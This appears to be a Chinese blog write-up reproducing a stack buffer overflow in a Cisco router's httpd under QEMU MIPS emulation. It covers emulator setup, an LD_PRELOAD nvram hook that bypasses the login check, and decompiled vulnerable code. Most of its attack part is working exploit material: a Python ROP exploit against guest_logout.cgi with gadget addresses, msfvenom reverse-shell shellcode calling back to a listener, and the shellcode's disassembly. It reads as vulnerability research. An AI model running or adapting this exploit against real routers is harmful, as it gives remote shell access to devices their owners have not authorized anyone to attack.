因为没有真机设备,故我们采用了qemu进行模拟仿真;此时我们采用qemu-system系统态进行模拟(该模式下开销比较大
而位于内核与磁盘镜像之中可以找到我们想要的内核以及磁盘镜像;
而此时我们写入run.sh之中内容,这些内容即为启动前的准备工作;
sudo brctl addbr virbr0 # 创建网桥 virbr0
sudo ifconfig virbr0 192.168.122.1/24 up # 设置网络设备的状态,启动该网桥
sudo tunctl -t tap0 # 添加虚拟网卡tap0
sudo ifconfig tap0 192.168.122.11/24 up # 启动虚拟网卡
sudo brctl addif virbr0 tap0 # 将网卡接口接入网桥
sudo qemu-system-mipsel -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \ # 要运行的镜像
-hda debian_wheezy_mipsel_standard.qcow2 \ # 指定硬盘镜像
-append "root=/dev/sda1 console=tty0" \ # 设置Linux内核命令行、启动参数
-netdev tap,id=tapnet,ifname=tap0,script=no \ # 设置网络设备
-device rtl8139,netdev=tapnet \ # 指定guest上总线挂载的外部设备,实际上将网口加载进来
-nographic # 非图形化启动,使用串口作为控制台
这里注意大小端问题即可;然后就是启动过程较为缓慢,所有要耐心等待,如果发现长时间位于[ 0.000000] console [tty0] enabled, bootconsole disabled
该语句上,则需要等待更长的时间来等待系统的启动(毕竟是系统态),如果位于该过程操作失误导致退出的话,那么可以使用ifconfig命令查看到我们所创建的两个虚拟网络设备virbr0、tap0 ;此时我们可以删除这两个网络设备再重新运行run.sh即可;
删除命令:
sudo ifconfig virbr0 down # 关闭设备
sudo ifconfig tap0 down # 关闭设备
sudo brctl delbr virbr0 # 删除网桥
sudo tunctl -d tap0 # 删除网卡
我们此时利用ifconfig查看ip,发现为lo(回环地址,127.0.0.1)
我们可以利用ifconfig eth0 192.168.122.3 up
来配置ip即可;此时通过ping测试,发现互相之间可以通信(qemu与实体机)
同时我们可以利用scp -r ./squashfs-root root@192.168.122.3:/root/
来传输到qemu之中我们所需要测试的文件;(这里是将整个文件系统传输了过去;
此时我们位于qemu的/root/squashfs-root/目录下,可以发现squashfs-root之中的proc并没有我们想要的进程信息等;故我们需要进行挂载;
mount -o bind /dev ./dev/
mount -t proc /proc/ ./proc/
chroot . sh
此时我们便可以启动httpd来开启路由器的web服务了,但是我们这里发现无法正常启动web服务,出现/dev/nvram: No such file or directory
错误,因我们是仿真模拟,故我们并没有一些真实的硬件设备;所以我们需要patch或者hook;
故我们通过ida32反编译httpd文件,通过搜索函数,可以发现与nvram_get等函数,故通过交叉引用发现调用该函数的过程;发现main函数大量调用了nvram系列的函数;
这里如果采用了用户态进行调试,便会发现出现多的错误了,这是因为端口被占用了,而系统态则没有端口被占用的情况;
pwn@pwn-virtual-machine:~/iot/cisco/_cis.bin.extracted/squashfs-root$ sudo chroot . ./qemu-mipsel-static -g 2223 ./usr/sbin/httpd
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
bind: Address already in use
bind: Address already in use
bind: Address already in use
bind: Address already in use
如果采用了系统态进行仿真的话,并使用了海特实验室的gdb进行远程调试的话,我采用了socat TCP4-LISTEN:3333,reuseaddr,fork TCP4:127.0.0.1:2223
进行ida调试,但是发现无法进行调试;可能仅可使用gdb-multiarch来调试;这里选择gef进行调试的话,体验较好;
这里给出gdb-server静态(海特实验室)gdbserver的链接,我们可以寻找到我们想要的静态文件;
这里我们需要定位需要hook的函数,以及需要hook成什么样子,故我们需要不断调试定位到错误信息。这里的错误信息很简单,必然是nvram系列函数,通过调试,发现错误信息位于nvram_get函数出现的,而退出则是由exit函数进行错误退出的,故我们可以定位到错误流程必然出现于第三个nvram_get函数与exit函数之间;
# /usr/sbin/httpd
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
# ps | grep httpd
2426 0 6276 S /usr/sbin/httpd
2428 0 2268 S grep httpd
通过调试发现并不会通过exit函数退出,而httpd服务直接进入后台服务了;
此时我们首先要hook掉nvram_get函数,这里如果采用了mipsel-linux-gnu-gcc -shared -fPIC 1.c -o nvram.so
则无法链接其他动态库,故我们需要交叉编译;这篇文章iot安全研究员视角的交叉编译可以很好的解释我们为什么要采用交叉编译;
buildroot下载地址
sudo apt-get install ncurses-dev
cd buildroot-2022.05/
make clean
make menuconfig
make -j8
这里选择架构并选择服务器kernel版本,kernel版本可以使用uname -a
进行查看;编译可能需要花费大量时间,这里就需要耐心等待了;
等待环境构建完毕,此时我们使用gcc进行编译so文件;
pwn@pwn-virtual-machine:~/iot/buildroot-2022.05/output/host$ ./bin/mipsel-linux-gcc -shared -fPIC -o nvram.so ./nvram.c
并通过以下命令启动httpd
export LD_PRELOAD="/nvram.so" && httpd
export LD_PRELOAD="/nvram.so" && /usr/sbin/httpd
而nvram.c的编写内容为:(此时我们便可以通过后台信息发现这些报错信息,以及那些内容通过nvram_get来获取;同时可以根据字符串信息定位到报错信息;
#include
#include
char *nvram_get(char *key)
{
char *value = NULL;
if(strcmp(key, "lan_ipaddr") == 0)
{
value = strdup("127.0.0.1");
}
if(strcmp(key, "lan_proto") == 0)
{
value = strdup("static");
}
if(strcmp(key, "http_user_count") == 0)
{
value = strdup("1");
}
if(strcmp(key, "http_user0") == 0)
{
value = strdup("rw,enc=3ff83912fdb4176a21cd5c93e2094554,admin\n");
}
printf("nvram_get(%s) == %s\n", key, value);
return value;
}
此时我们访问192.168.122.3;发现页面无错误,但是终端信息出现很多错误;而httpd并没有退出;说明这个错误不至于退出程序;那大概率便是无法获取到nvram之中的信息,实际上也存在着nvram命令,通过这个命令的参数可以发现与nvram_get函数存在共同之处,而nvram命令之中最为重要的是lan_ipaddr(这里也看到了其他师傅的复现内容
这里我们发现访问192.168.122.3却没有任何内容,这是因为我们的启动路径不对,我们必须位于www下进行启动,否则无法寻找到我们的web页面,从而导致没有办法回显;同时httpd -S
是无法启动的,因为此时文件之中并没有https证书,故无法启动;
此时我们访问则会首先访问http://192.168.122.3/login.cgi该页面,但是会发现无论输入什么都将无法登录,而就算输入默认密码csico也无法登录,这是因为需要从nvram之中取得用户以及密码,故我们同时需要hook这一部分来完成登录;
获取patch程序之中的valid_user函数为如下内容即可,让其永远返回1即可;但是ida无法完成Assemble,将会报错Sorry, this processor module doesn't support the assembler.
,这能通过硬编码进行修改,但是我并不想去查找mipsel的硬编码了;故我采用了hook的方式,此时我们便可以登录了;
li $v0, 1
jr $ra
这里介绍一下如何定位我们要怎么hook掉登录check函数;
首先我们可以通过Invalid Username or Password.
字符串定位到如下代码,此时我们可以发现login_check函数;
if ( do_onplus )
{
if ( !login_check((int)user, (int)pwd, 1) )// 登录审核,需要返回1
{
v65 = "Authentication Fail";
errorMessage = "Invalid username or password.";
v67 = 400;
goto LABEL_143;
}
}
跟踪login_check函数发现底层调用了valid_user函数进行判断;
while ( 1 )
{
v9 = (const char *)nvram_get("http_user_count", v4, v5);// 获取用户数量,需要返回1
if ( !v9 )
v9 = "";
v10 = v8 < atoi(v9);
v11 = v8++;
if ( !v10 )
break;
memset(v16, 0, sizeof(v16));
sprintf(v16, "http_user%d", v11);
v14 = (const char *)nvram_get(v16, v12, v13);// 获取http_user1
if ( !v14 )
v14 = "";
strcpy(http_user_1, v14);
if ( v6 || strncmp(http_user_1, "r,", 2u) )
{
valid = valid_user((const char *)user, (const char *)pwd, http_user_1, int_1);
if ( valid > 0 )
break;
}
}
return valid;
而valid_user仅仅是简单的判断,我们可以动态调试至此处位置,我们先位于页面之中输入123456(密码),发现此处的pwd进行了加密,如果我们hook掉http_user0其中的内容与此一致,曾将会登录成功;
sscanf(http_user1, "%[^,],%[^,],%[^\n]", v49, mm, uuu);
if ( int_1 )
{
if ( !strncmp(mm, "enc=", 4u) )
sscanf(mm, "enc=%s", v53);
else
md5_encode(mm, v53);
strncpy(v54, pwd, 0x80u);
v54[127] = 0;
}
略...
v9 = strlen(uuu);
if ( v9 != strlen(user) )
goto LABEL_8;
v14 = strlen(v53);
v13 = strlen(v54);
v10 = 0;
if ( v14 == v13 ) // 比较密码长度
{
v15 = strcmp(uuu, user); // 比较用户名
v10 = 0;
if ( !v15 )
{
v16 = strcmp(v53, v54); // 比较密码
v10 = 0;
hook成功后登录,发现页面如下,很多内容不全,这是因为nvram的原因造成的;故qemu仿真尽量的去调试漏洞,而不是去挖掘漏洞;(qemu仿真局限性很大,而且hook过程比较复杂,需要大量调试;
此时我们便开始了漏洞分析,采用静态分析的手段,分析到guest_logout_cgi函数之中存在栈溢出;整体分析可得出需要布置的参数;
v5 = (const char *)get_cgi("cmac"); // cmac必须存值
v7 = get_cgi("cip");
v6 = (const char *)get_cgi("cip");
for ( j = (char *)(v7 + strlen(v6) - 1); get_cgi("cip") < (unsigned int)j; *j-- = 0 )
{
v9 = *j;
if ( v9 != 10 && v9 != 13 && v9 != 32 )
break;
}
v10 = (const char *)get_cgi("cip"); // cip参数必须存值
v11 = (const char *)get_cgi("submit_button"); // 选择submit_button参数
if ( !v11 )
v11 = "";
if ( v5 && v10 )
{
memset(v36, 0, 0x40u);
memset(v35, 0, sizeof(v35));
v12 = fopen("/dev/console", "w");
v13 = v12;
if ( v12 )
{
fprintf(v12, "\n mac=[%s], ip=[%s], submit_button=[%s]\n", v5, v10, v11);
fclose(v13);
}
if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
{
v17 = strstr(v11, "status_guestnet.asp"); // submit_button参数必须包含status_guestnet.asp字符
v19 = v36;
if ( !v17 )
goto LABEL_31;
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v36, v35);// 漏洞点
此时我们便写个脚本测试一下
from pwn import *
import requests
url = "http://192.168.122.3/guest_logout.cgi"
post = {
"submit_button": "status_guestnet.asp"+ cyclic(100,alphabet=string.ascii_uppercase),
"cip": "192.168.122.11" ,
"cmac": "00:1B:44:11:3A:B7"
}
try:
r = requests.post(url=url,data=post)
except Exception as e:
print("requests error!")
调试窗口发现$ra : 0x57414141 ("AAAW"?)
故偏移量85;
而httpd的程序则崩溃了,需要重启;这里我们可以通过mipsrop.stackfinder()
来搜索gadget,但是经过测试ida7.x版本对此不太兼容(虽然网络上存在多个解决方法,但经过尝试后,发现依然不可以);那我们只能勉为其难的使用ROPgadget了(支持MIPS),不过可能并没有mipsrop方便了;
这里我们选择两个gadget(这里就直接选择其它师傅们已经找好的gadget了;
| Address | Action | Control Jump |
------------------------------------------------------------------------------------------
| 0x000257A0 | addiu $a0,$sp,0x58+var_40 | jalr $s0 |
| 0x0003D050 | move $t9,$a0 | jalr $a0 |
采用以下命令进行生成shellcode.py文件,而py文件之中集成了shellcode;
msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.122.1 LPORT=34567 --arch mipsle --platform linux -f py -o shellcode.py
然后就是反弹shell了,这里我们采用了msfvenom进行生成payload
from pwn import *
import requests
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x87\x07\x0e\x3c"
buf += b"\x87\x07\xce\x35\xe4\xff\xae\xaf\x7a\x01\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"
libcbase = 0x77a6a000
add_a0 = libcbase+0x257a0 # addiu $a0,$sp,0x58+var_40;jalr $s0
jmp_a0 = libcbase+0x3d050 # move $t9,$a0;jalr $a0
payload = b"status_guestnet.asp"
payload += b'a'*49+p32(jmp_a0)
payload += b'b'*0x20+p32(add_a0)
payload += b'c'*0x18+buf
url = "http://192.168.122.3/guest_logout.cgi"
post = {
"submit_button": payload ,
"cip": "192.168.122.11" ,
"cmac": "00:1B:44:11:3A:B7"
}
try:
r = requests.post(url=url,data=post)
except Exception as e:
print("requests error!")
这里还有一个问题,便是我们的libc基址,这里因为原版是没有固定的,而我测试的时候并不是固定的,故采用echo 0 > /proc/sys/kernel/randomize_va_space
关闭ASLR;此时基址为0x77a6a000;
这里我发现了mipsel的系统调用与x86_i386的调用一模一样;(这里我查询mipsel的系统调用很长时间,并没有关于这方面的资料,后来经过实验发现mipsel的系统调用和x86_i386的调用一样;
gef➤ x/100i 0x7fff1360
=> 0x7fff1360: nop
0x7fff1364: nor t7,t7,zero
0x7fff1368: addi a0,t7,-3
0x7fff136c: addi a1,t7,-3
0x7fff1370: slti a2,zero,-1
0x7fff1374: li v0,4183
0x7fff1378: syscall 0x40404
0x7fff137c: sw v0,-1(sp)
0x7fff1380: lw a0,-1(sp)
0x7fff1384: li t7,0xfffd
0x7fff1388: nor t7,t7,zero
0x7fff138c: sw t7,-30(sp)
0x7fff1390: lui t6,0x787
0x7fff1394: ori t6,t6,0x787
0x7fff1398: sw t6,-28(sp)
0x7fff139c: lui t6,0xb7a
0x7fff13a0: ori t6,t6,0xa8c0
0x7fff13a4: sw t6,-26(sp)
0x7fff13a8: addiu a1,sp,-30
0x7fff13ac: li t4,-17
0x7fff13b0: nor a2,t4,zero
0x7fff13b4: li v0,4170
0x7fff13b8: syscall 0x40404
0x7fff13bc: li s1,-3
0x7fff13c0: nor s1,s1,zero
0x7fff13c4: lw a0,-1(sp)
0x7fff13c8: move a1,s1
0x7fff13cc: li v0,4063
0x7fff13d0: syscall 0x40404
0x7fff13d4: li s0,-1
0x7fff13d8: addi s1,s1,-1
0x7fff13dc: bne s1,s0,0x7fff13c8
0x7fff13e0: slti a2,zero,-1
0x7fff13e4: lui t7,0x6962
0x7fff13e8: ori t7,t7,0x2f2f
0x7fff13ec: sw t7,-20(sp)
0x7fff13f0: lui t6,0x6873
0x7fff13f4: ori t6,t6,0x2f6e
0x7fff13f8: sw t6,-16(sp)
0x7fff13fc: sw zero,-12(sp)
0x7fff1400: addiu a0,sp,-20
0x7fff1404: sw a0,-8(sp)
0x7fff1408: sw zero,-4(sp)
0x7fff140c: addiu a1,sp,-8
0x7fff1410: li v0,4011
0x7fff1414: syscall 0x40404
这里是采用了msfvenom生成的shellcode,但是发现却没有成功的获取到权限,故仔细调试发现该shellcode之中有些许地址使用到了不可写地址从而无法远程获取;故采用了http://shell-storm.org/shellcode/files/shellcode-860.php(该脚本,需要手动修改ip地址以及端口,可以从硬编码进行修
gef➤ x/50i 0x7fff1364
0x7fff1364: li v0,4006
=> 0x7fff1368: syscall 0x42424
0x7fff136c: slti a0,zero,4369
0x7fff1370: li v0,4006
0x7fff1374: syscall 0x42424
0x7fff1378: li t4,-3
0x7fff137c: nor a0,t4,zero
0x7fff1380: li v0,4006
0x7fff1384: syscall 0x42424
0x7fff1388: li t4,-3
0x7fff138c: nor a0,t4,zero
0x7fff1390: nor a1,t4,zero
0x7fff1394: slti a2,zero,-1
0x7fff1398: li v0,4183
0x7fff139c: syscall 0x42424
0x7fff13a0: andi a0,v0,0xffff
0x7fff13a4: li v0,4041
0x7fff13a8: syscall 0x42424
0x7fff13ac: li v0,4041
0x7fff13b0: syscall 0x42424
0x7fff13b4: lui a1,0x6979
0x7fff13b8: ori a1,a1,0xff01
0x7fff13bc: addi a1,a1,257
0x7fff13c0: sw a1,-8(sp)
0x7fff13c4: lui a1,0x17a
0x7fff13c8: ori a1,a1,0xa8c0
0x7fff13cc: sw a1,-4(sp)
0x7fff13d0: addi a1,sp,-8
0x7fff13d4: li t4,-17
0x7fff13d8: nor a2,t4,zero
0x7fff13dc: li v0,4170
0x7fff13e0: syscall 0x42424
0x7fff13e4: lui t0,0x6962
0x7fff13e8: ori t0,t0,0x2f2f
0x7fff13ec: sw t0,-20(sp)
0x7fff13f0: lui t0,0x6873
0x7fff13f4: ori t0,t0,0x2f6e
0x7fff13f8: sw t0,-16(sp)
0x7fff13fc: slti a3,zero,-1
0x7fff1400: sw a3,-12(sp)
0x7fff1404: sw a3,-4(sp)
0x7fff1408: addi a0,sp,-20
0x7fff140c: addi t0,sp,-20
0x7fff1410: sw t0,-8(sp)
0x7fff1414: addi a1,sp,-8
0x7fff1418: addiu sp,sp,-20
0x7fff141c: slti a2,zero,-1
0x7fff1420: li v0,4011
0x7fff1424: syscall 0x42424
0x7fff1428: nop
虽然msfconsole发现了该主机进行了连接,但是连接即断卡,而且还有个副作用,该shellcode关闭了stdin,故我们将无法输入了,必须重启启动qemu-system方才可以;
qemu仿真的话会有很多问题,而且这些问题是其它一些师傅所没有遇到的;这些都是需要自己去解决的;这里是因为并没有使用msf生成的payload,故msf不识别其它反弹shell;故我们使用nc进行监听端口,这里发现可以远程连接并执行一定的命令,但是却存在很长的延迟,应该是qemu-system模拟的问题,这些估计只有实体机才能解决;
参考链接: